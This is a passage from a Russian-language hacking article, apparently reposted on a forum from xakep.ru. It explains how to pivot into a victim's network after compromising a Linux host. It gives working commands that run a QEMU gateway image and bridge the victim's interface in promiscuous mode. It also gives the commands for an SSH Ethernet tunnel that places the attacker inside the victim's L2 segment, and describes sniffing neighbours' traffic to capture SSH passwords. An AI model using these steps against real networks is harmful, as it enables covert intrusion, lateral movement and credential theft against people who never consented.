Наша же задача как раз состоит в том, чтобы максимально оградить себя от необходимости администрирования скомпрометированных систем, абстрагировавшись от них портативной виртуальной машиной с ОС, где есть все необходимое.

На Linux с полными root-правами нам вновь поможет QEMU, только запускать его мы будем уже с созданием полноценного интерфейса L2 TAP:
Код:
./qemu-system-i386 -hda gw.qcow2 -m 64M -net nic,macaddr=00:11:22:33:44:55 -net tap,script=no
QEMU создает в хостовой ОС TAP-интерфейс, связанный напрямую с Eth-интерфейсом гостевой ОС. И чтобы пакеты из сети скомпрометированной машины с ее Eth-интерфейса стали поступать через TAP-интерфейс внутрь GW-образа, нужно сбриджить эти сетевые интерфейсы:
Код:
brctl addbr br0; brctl addif br0 eth0; brctl addif br0 tap0; ifconfig eth0 0 promisc; ifconfig br0 10.0.0.100 netmask 255.255.255.0; route add -net default gw 10.0.0.1
Инжект портативной виртуальной машины для кражи L2-доступа в сеть жертвы

И точно так же, как и в прошлый раз, внутри гостевой ОС мы создаем VPN-туннель через SSH. Продолжаем бриджить ее Eth-интерфейс c TAP-интерфейсом уже SSH-туннеля:
Код:
gw> /usr/sbin/sshd
gw> modprobe tun
gw> modprobe bridge
attacker> sudo ssh root@vbox -o Tunnel=ethernet -w any:any
gw> brctl addbr br0; brctl addif br0 eth0; brctl addif br0 tap0; ifconfig eth0 0 promisc; ifconfig br0 10.0.0.18 netmask 255.255.255.0; route add -net default gw 10.0.0.1
gw> ifconfig tap0 up
attacker> dhclient tap0
Результатом будет телепортация атакующего в сетевой сегмент жертвы через виртуальную машину.

Полноценно (L2) заходим в сеть жертвы и начинаем там шалить — перехватывать трафик соседних машин

Ну и к примеру, последующая атака перехвата трафика позволяет нам узнать пароль SSH-подключения компа жертвы к соседним узлам.

Успешная L2-атака перехвата трафика на узлы сетевого сегмента

Вместо создания собственных from scratch образов размером в несколько десятков мегабайт мы всегда можем воспользоваться любым готовым образом. Ведь если в твоем распоряжении есть канал эксфильтрации, можно доставить на скомпрометированную ОС образ размером вплоть до нескольких гигабайт.

ЗАКЛЮЧЕНИЕ​

Мы рассмотрели организацию пивотинга во всех возможных сценариях постэксплуатации с каналом эксфильтрации — на Windows и на Linux, при наличии прав и без таковых. Благодаря технологиям эмуляции и виртуализации эти сценарии кажутся очень похожими даже на разных ОС, абстрагируя нас от операционной системы на хосте и предоставляя единый интерфейс — один и тот же образ, одни и те же привычные pivoting-утилиты.

Виртуализация и эмуляция делают возможным универсальный pivoting-подход на все случаи жизни, покрывая любые ситуации, с которыми только можно столкнуться на практике. В следующей части мы поговорим о том, как выжить на атакуемой системе без канала эксфильтрации, когда пивотинг невозможен и атаки должны развиваться непосредственно с атакуемой системы.

Автор s0i37
Источник xakep.ru
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх